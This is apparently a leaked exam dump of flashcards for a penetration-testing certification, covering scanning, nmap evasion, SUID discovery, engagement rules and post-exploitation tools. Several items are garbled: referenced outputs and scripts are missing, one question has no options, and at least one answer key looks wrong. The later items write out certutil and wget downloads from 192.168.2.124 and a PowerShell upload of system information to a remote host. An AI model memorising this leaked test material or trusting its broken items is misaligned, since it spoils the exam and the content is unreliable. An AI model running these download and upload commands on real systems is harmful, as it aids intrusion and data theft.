Dump 4 Flashcards
A penetration tester is conducting an assessment on 192.168.1.112. Given the following output:
Which of the following is the penetration tester conducting?
A.
Port scan
B.
Brute force
C.
Credential stuffing
D.
DoS attack
Answer: B
During passive reconnaissance of a target organization’s infrastructure, a penetration tester wants
to identify key contacts and job responsibilities within the company. Which of the following
techniques would be the most effective for this situation?
A.
Social media scraping
B.
Website archive and caching
C.
DNS lookup
D.
File metadata analysis
Answer: A
A penetration tester wrote the following Bash script to brute force a local service password:
Answer: A
Which of the following documents would be the most helpful in determining who is at fault for a
temporary outage that occurred during a penetration test?
A.
Non-disclosure agreement
B.
Business associate agreement
C.
Assessment scope and methodologies
D.
Executive summary
Answer: C
A penetration tester discovers passwords in a publicly available data breach during the
reconnaissance phase of the penetration test. Which of the following is the best action for the
tester to take?
A.
Add the passwords to an appendix in the penetration test report.
B.
Do nothing. Using passwords from breached data is unethical.
C.
Contact the client and inform them of the breach.
D.
Use the passwords in a credential stuffing attack when the external penetration test begins.
Answer: C
A penetration tester is trying to bypass an active response tool that blocks IP addresses that have
more than 100 connections per minute. Which of the following commands would allow the tester to
finish the test without being blocked?
A.
nmap –sU –p 1–1024 10.0.0.15
B.
nmap –p 22, 25, 80, 3389 –T2 10.0.0.15 –Pn
C.
nmap –T5 –p 1–65535 –A 10.0.0.15
D.
nmap –T3 –F 10.0.0.15
Answer: B
A penetration tester runs the following command on a system:
find / –user root –perm -4000 –print 2>/dev/null
Which of the following is the tester trying to accomplish?
A.
Set the SGID on all files in the /directory.
B.
Find the /root directory on the system.
C.
Find files with the SUID bit set.
D.
Find files that were created during exploitation and move them to /dev/null.
Answer: C
Which of the following tools provides Python classes for interacting with network protocols?
A.
Responder
B.
Impacket
C.
Empire
D.
PowerSploit
Answer: B
A security engineer is trying to bypass a network IPS that isolates the source when the scan
exceeds 100 packets per minute. The scope of the scan is to identify web servers in the
10.0.0.0/16 subnet. Which of the following commands should the engineer use to achieve the
objective in the least amount of time?
A.
nmap –T3 –p 80 10.0.0.0/16 ––max-hostgroup 100
B.
nmap –T0 –p 80 10.0.0.0/16
C.
nmap –T4 –p 80 10.0.0.0/16 ––max-rate 60
D.
nmap –T5 –p 80 10.0.0.0/16 ––min-rate 80
Answer: B
A penetration tester is performing a social engineering penetration test and was able to create a
remote session. Which of the following social engineering techniques was most likely successful?
A.
SMS phishing
B.
Dumpster diving
C.
Executive impersonation attack
D.
Browser exploitation framework
Answer: C
A penetration tester requested, without express authorization, that a CVE number be assigned for
a new vulnerability found on an internal client application. Which of the following did the
penetration tester most likely breach?
A.
ROE
B.
SLA
C.
NDA
D.
SOW
Answer: C
Penetration-testing activities have concluded, and the initial findings have been reviewed with the
client. Which of the following best describes the NEXT step in the engagement?
A.
Performing a live demonstration of the results to the system administrators
B.
Scheduling of follow-up actions and retesting
C.
Attestation of findings and delivery of the report
D.
Review of the lessons during the engagement
Answer: C
A penetration tester conducted a discovery scan that generated the following:
Which of the following commands generated the results above and will transform them into a list of
active hosts for further analysis?
A.
nmap –oG list.txt 192.168.0.1-254 | sort
B.
nmap –sn 192.168.0.1-254 | grep “Nmap scan? | awk ‘{print $5}’
C.
nmap ––open 192.168.0.1-254 | uniq | sed ‘s/Nmap//2’ > file.txt
D.
nmap –O 192.168.0.1-254 | cut –f
Answer: B
A red-team tester has been contracted to emulate the threat posed by a malicious insider on a
company’s network, with the constrained objective of gaining access to sensitive personnel files.
During the assessment, the red-team tester identifies an artifact indicating possible prior
compromise within the target environment. Which of the following actions should the tester take?
A.
Perform forensic analysis to isolate the means of compromise and determine attribution.
B.
Incorporate the newly identified method of compromise into the red team’s approach.
C.
Create a detailed document of findings before continuing with the assessment.
D.
Halt the assessment and follow the reporting procedures as outlined in the contract.
Answer: D
A penetration tester identified numerous flaws that could lead to unauthorized modification of
critical data. Which of the following would be best for the penetration tester to recommend?
A.
Flat access
B.
Role-based access control
C.
Permission-based access control
D.
Group-based control model
Answer: B
Which of the following tools would be the best to use to intercept an HTTP response of an API,
change its content, and forward it back to the origin mobile device?
A.
Drozer
B.
Burp Suite
C.
Android SDK Tools
D.
MobSF
Answer: B
A penetration tester is conducting a test after hours and notices a critical system was taken down.
Which of the following contacts should be notified first?
A.
Secondary
B.
Emergency
C.
Technical
D.
Primary
Answer: B
A penetration tester wants to perform reconnaissance without being detected. Which of the
following activities have a minimal chance of detection? (Choose two.)
A.
Open-source research
B.
A ping sweep
C.
Traffic sniffing
D.
Port knocking
E.
A vulnerability scan
F.
An Nmap scan
Answer: A,C
During an assessment, a penetration tester found a suspicious script that could indicate a prior
compromise. While reading the script, the penetration tester noticed the following lines of code:
Which of the following was the script author trying to do?
A.
Spawn a local shell.
B.
Disable NIC.
C.
List processes.
D.
Change the MAC address.
Answer: D
During an assessment, a penetration tester found a web component with no authentication
requirements. The web component also allows file uploads and is hosted on one of the target
public web servers. Which of the following actions should the penetration tester perform next?
A.
Continue the assessment and mark the finding as critical.
B.
Attempt to remediate the issue temporarily.
C.
Notify the primary contact immediately.
D.
Shut down the web server until the assessment is finished.
Answer: C
During an assessment, a penetration tester obtains a list of password digests using Responder.
Which of the following tools would the penetration tester most likely use next?
A.
Hashcat
B.
Hydra
C.
CeWL
D.
Medusa
Answer: A
A penetration tester is performing a vulnerability scan on a large ATM network. One of the
organization’s requirements is that the scan does not affect legitimate clients’ usage of the ATMs.
Which of the following should the tester do to best meet the company’s vulnerability scan
requirements?
A.
Use Nmap’s-T2 switch to run a slower scan and with less resources.
B.
Run the scans using multiple machines.
C.
Run the scans only during lunch hours.
D.
Use Nmap’s-host-timeout switch to skip unresponsive targets.
Answer: A
A penetration tester has obtained a low-privilege shell on a Windows server with a default
configuration and now wants to explore the ability to exploit misconfigured service permissions.
Which of the following commands would help the tester start this process?
A.
certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe
B.
powershell (New-Object System.Net.WebClient).UploadFile(‘http://192.168.2.124/upload.php’,
‘systeminfo.txt’)
C.
schtasks /query /fo LIST /v | find /I “Next Run Time:?
D.
wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe
Answer: A
A penetration tester issues the following command after obtaining a shell:
Which of the following describes this technique?
A.
Establishing a backdoor
B.
Privilege escalation
C.
PowerShell remoting
D.
Living-off-the-land
Answer: D
